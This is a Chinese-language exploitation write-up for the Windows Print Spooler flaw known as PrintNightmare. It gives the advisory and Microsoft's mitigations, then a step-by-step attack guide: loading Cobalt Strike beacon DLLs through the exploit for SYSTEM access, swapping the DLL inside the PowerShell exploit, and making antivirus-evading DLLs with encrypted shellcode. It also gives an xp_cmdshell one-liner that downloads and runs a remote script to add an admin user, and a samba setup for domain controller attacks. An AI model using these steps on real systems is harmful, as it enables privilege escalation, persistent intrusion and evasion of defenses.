# 漏洞详情

# 漏洞描述


Microsoft 已发现并调查影响 Windows Print Spooler 的远程代码执行漏洞,并已将 CVE-2021-34527 分配给此漏洞。

当 Windows Print Spooler 服务不正确地执行特权文件操作时,存在远程执行代码漏洞风险。成功利用此漏洞的攻击者可以使用 SYSTEM 权限运行任意代码。然后攻击者可以安装程序;查看、更改或删除数据;或创建具有完全用户权限的新帐户。

攻击必须涉及调用 RpcAddPrinterDriverEx ( ) 的经过身份验证的用户。

# 影响版本


Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 8.1 for 32-bit systems
Windows 7 for x64-based Systems Service Pack 1
Windows 7 for 32-bit Systems Service Pack 1
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server, version 2004 (Server Core installation)
Windows 10 Version 2004 for x64-based Systems
Windows 10 Version 2004 for ARM64-based Systems
Windows 10 Version 2004 for 32-bit Systems
Windows 10 Version 21H1 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems

# Exp&Poc


https://github.com/yisaditatimi/CVE-2021-1675-LPE (含 cobaltstrike cna 脚本)
https://github.com/yisaditatimi/CVE-2021-1675-powershell (powershell 版本)

# 修复建议


微软公司给出了针对该漏洞的缓解办法,目前正式补丁尚未发布。

确定 Print Spooler 服务是否正在运行(以域管理员身份运行)

以域管理员身份运行以下命令:

Get-Service -Name Spooler

如果 Print Spooler 正在运行或该服务未设置为禁用,请选择以下选项之一以禁用 Print Spooler 服务,或通过组策略禁用入站远程打印:

选项 1 - 禁用 Print Spooler 服务

如果禁用 Print Spooler 服务适合您的企业,请使用以下 PowerShell 命令:

Stop-Service -Name Spooler -Force

Set-Service -Name Spooler -StartupType Disabled

禁用 Print Spooler 服务会禁用本地和远程打印功能。

选项 2 - 通过组策略禁用入站远程打印

运行组策略编辑器 ( Win+R,输入 gpedit.msc,打开组策略编辑器),依次浏览到:计算机配置 / 管理模板 / 打印机

禁用 "允许打印后台处理程序接受客户端连接:" 策略以阻止远程攻击。

变通办法的影响:

此策略将通过阻止入站远程打印操作来阻止远程攻击。该系统将不再用作打印服务器,但仍然可以本地打印到直接连接的设备。

参考链接:

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527

# 免责声明


请勿使用文中的技术和工具用于非法用途。用户须承担一切因自己的行为而直接或间接导致的民事或刑事法律责任。

# 漏洞复现

# 参考链接


https://422926799.github.io/posts/c257aa46.html
https://blog.csdn.net/k8gege/article/details/118652953
https://www.cnblogs.com/Rainbovv/p/14966438.html

# 本地提权利用

这里主要是利用该漏洞进行提权操作,可以提权到 system。

# 二进制 EXP

生成 CS 上线 dll 后,上传到目标主机,然后编译上述 CVE-2021-1675-LPE 代码中 dll 的路径 (不编译的话也成,不过需要输入参数指定 cs 的 dll 路径;若将路径写到代码中,就不需要执行参数了,自己取舍)。

89df3f41-c831-4440-bf83-8fa97015fd49-image.png

生成 CS 上线 dll

4c0af7a2-5704-45ee-8342-f9f8e9061471-image.png

修改代码路径

然后将生成的 exe,扔到目标机器运行即可。(这里加上了参数,如果做了上面的操作,不加参数也可以), 然后 CS 就会回弹一个 system 权限的会话了。
ae7406f0-8291-4b85-acda-e6686c5fa67d-image.png

# CS 插件形式

上传 CS dll 到目标机器。
然后将 CVE-2021-1675-LPE-RDLL.mian 代码中 111 行 dll 路径进行修改,编译生成,得到 CVE-2021-1675-LPE-RDLL.dll。
将该 dll 和 cna 插件放同目录,导入 cna 插件,输入命令 cve_2021_1675 即可。
759f7bf0-19bf-4e2d-9a3f-160c4e50528c-image.png

8d3a69fd-891e-45e4-a477-047e3502df73-image.png
cae4cccd-6cc6-49d4-b724-b1fdefc8b584-image.png
0e290719-5c2e-4bff-a98f-e0fcffd50593-image.png

# Powershell 执行

https://github.com/yisaditatimi/CVE-2021-1675-powershell
下载上述 ps 文件,然后按照教程直接用即可。
4ab2b17b-5f58-46e3-a31f-29691f4533d2-image.png

# 魔改上面的 powershell

上面的 ps 是把 dll 以 base64 形式放在文件里的,运行后,将这个 dll 写到目标机器上,然后加载这个 dll,所以如果我们将这个 dll 换成 cs 的,那么是不是就能成功上线。

26019590-4be7-4dbc-874a-1dc24890c956-image.png

|- 恶意 dll 以 base64 保存在 ps 脚本中 -|

因此,我们可以自己修改这里面的内容来完成我们的操作,比如完成 CS 上线,而不是添加用户。
首先,将 53 行那边的 if else 全删了,然后将 153 行的 base64 流改成我们的 dll 即可。
3b1fb29b-d93d-474e-9fad-81704f9dbe17-image.png

4bfab1d0-4a83-42f7-bc61-d4e62b29a1ec-image.png

而这里 dll base64 流的生成如下:
cs 生成 dll 后,进行 gzip 压缩,然后将文件转成 base64 流,复制粘贴到 ps 脚本中。
7c49a7d7-c208-4236-8b5f-ada9b7ce5b22-image.png
f2fad892-4a78-419e-84f4-e7c91e56d82f-image.png
305689f6-6db1-4501-875c-921e69508ef3-image.png

# 免杀 dll

上述两种 exp 的利用,其实都是把 dll 给放到了目标机器上,存在文件落地行为,而我们使用的都是 cs 生成的 dll,因此若存在杀软,则 dll 基本上就是落地死,exp 也会因找不到 dll 而利用失败。
有能力的可以自己来编写免杀 dll 上线。

新建 dll 项目,删除无关代码,填充我们的功能代码。
b0f55f47-40d3-4b92-ad85-5374ff656cb4-image.png
830b3efd-7695-4490-8716-5f3ed5fefa2a-image.png

PS:不推荐异或免杀,推荐使用 AES 等对称加密算法来加密 shellcode。做免杀的时候务必关闭杀软的样本上传功能 (血的教训)。

# 小技巧

平时我们打战一般都是从注入打进去的,而若目标数据库是 sqlserver 的,就能通过 xp_cmdshell 来执行命令。所以我们也可以用 xp_cmdshell 来调用 powershell 执行 EXP 来进行提权(或上线 CS)。
将 ps1 直接传到服务器,然后执行下述命令。
(这里 ps 功能是添加用户,也可以按照前面的操作,把添加用户的 dll 换成 cs 上线的 dll)
exec master..xp_cmdshell 'powershell IEX ((new-object net.webclient).downloadstring(''http://1.1.1.1/add_user.ps1''));Invoke-Nightmare -DriverName PrintMe -NewUser 2025 -NewPassword qq1234.1';

078a5069-d83f-4a31-81fb-a5214e7421e0-image.png
62b54af6-3390-4398-ba55-4299cd6cb3b7-image.png

# 域提权利用

前提:
一个普通的域用户
开启 PrintSpooler 服务

exp:
一个是 py,一个是 exe
https://github.com/cube0x0/CVE-2021-1675
https://github.com/hayasec/PrintNightmare

下面以 py 版本的 EXP 为例,
为了域控能访问加载 dll 我们的恶意 dll,需要先配置一个匿名的 SMB 文件共享服务器

# kali 下配置匿名 SMB 共享服务器

vim /etc/samba/smb.conf
[global]
workgroup = WORKGROUP
server string = Samba Server
netbios name = MYSERVER
log file = /var/log/samba/log.%m
max log size = 50
security = user
map to guest = Bad User
[smb]
comment = Template Directories
browseable = yes
writeable = yes
path = /tmp/
guest ok = yes     

1844b777-eb91-44b0-a62c-9f4bb62cfbd3-image.png

启动 SMB 服务
service smbd start
查看是否能正常读文件
6b26256b-aca8-439d-841e-eb49fe8cf701-image.png
若能访问目录但是无法读写文件,则说明文件无权限,需要到 kali 给予权限。如下图,赋予权限后,文件正常读写能进行。然后把我们 cs 生成的 dll 扔进共享文件夹,赋予权限,使用 exp 直接开打。
7f96d8e5-94d1-4c90-a9d9-5b8e35845d59-image.png
a4d122c0-814a-4d0b-b62a-76ac10283faa-image.png

# EXP 利用

对于 Windowserver2012 的利用未成功。(这里第一个报错是因为 lisi 没有
SeImpersonatePrivilege 身份验证后模拟客户端或 SeAssignPrimaryTokenPrivilege 权限)
于是换上域管来登录,但是不知为何,就是利用失败。(难道是必须要用普通用户,但是我普通用户又没上述权限,有环境的老哥可以试试)
ed2bbf02-28db-4881-bb14-90db4572294e-image.png
69abf130-4101-4f45-b6a3-a41f63ddaf87-image.png

于是换成 Windows Server2019,成功攻击。(该 dll 功能是添加一个管理员用户)
23768584-61fd-4663-b160-ffad0d429dc4-image.png
bfc76683-bee4-4bf2-8749-b443a66268bd-image.png

更新于 阅读次数